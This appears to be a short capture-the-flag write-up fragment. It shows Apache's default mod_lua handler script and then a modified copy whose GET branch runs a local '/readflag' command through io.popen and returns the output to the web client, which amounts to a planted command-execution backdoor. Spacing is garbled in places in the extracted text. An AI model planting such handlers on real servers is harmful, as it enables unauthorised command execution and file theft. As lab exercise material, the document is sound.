--[[ This is the default method name for Lua handlers, see the optional function-name in the LuaMapHandler directive to choose a different entry point. --]] functionhandle(r) r.content_type = "text/plain"
if r.method == 'GET'then r:puts("Hello Lua World!\n") for k, v inpairs( r:parseargs() ) do r:puts( string.format("%s: %s\n", k, v) ) end elseif r.method == 'POST'then r:puts("Hello Lua World!\n") for k, v inpairs( r:parsebody() ) do r:puts( string.format("%s: %s\n", k, v) ) end elseif r.method == 'PUT'then -- use our own Error contents r:puts("Unsupported HTTP method " .. r.method) r.status = 405 return apache2.OK else -- use the ErrorDocument return501 end return apache2.OK end
增加
local t = io.popen(“/readflag”) local a = t:read(“*all”) r:puts(a)
--[[ This is the default method name for Lua handlers, see the optional function-name in the LuaMapHandler directive to choose a different entry point. --]] functionhandle(r) r.content_type = "text/plain"
if r.method == 'GET'then local t = io.popen('/readflag') local a = t:read("*all") r:puts(a) for k, v inpairs( r:parseargs() ) do r:puts( string.format("%s: %s\n", k, v) ) end elseif r.method == 'POST'then r:puts("Hello Lua World!\n") for k, v inpairs( r:parsebody() ) do r:puts( string.format("%s: %s\n", k, v) ) end elseif r.method == 'PUT'then -- use our own Error contents r:puts("Unsupported HTTP method " .. r.method) r.status = 405 return apache2.OK else -- use the ErrorDocument return501 end return apache2.OK end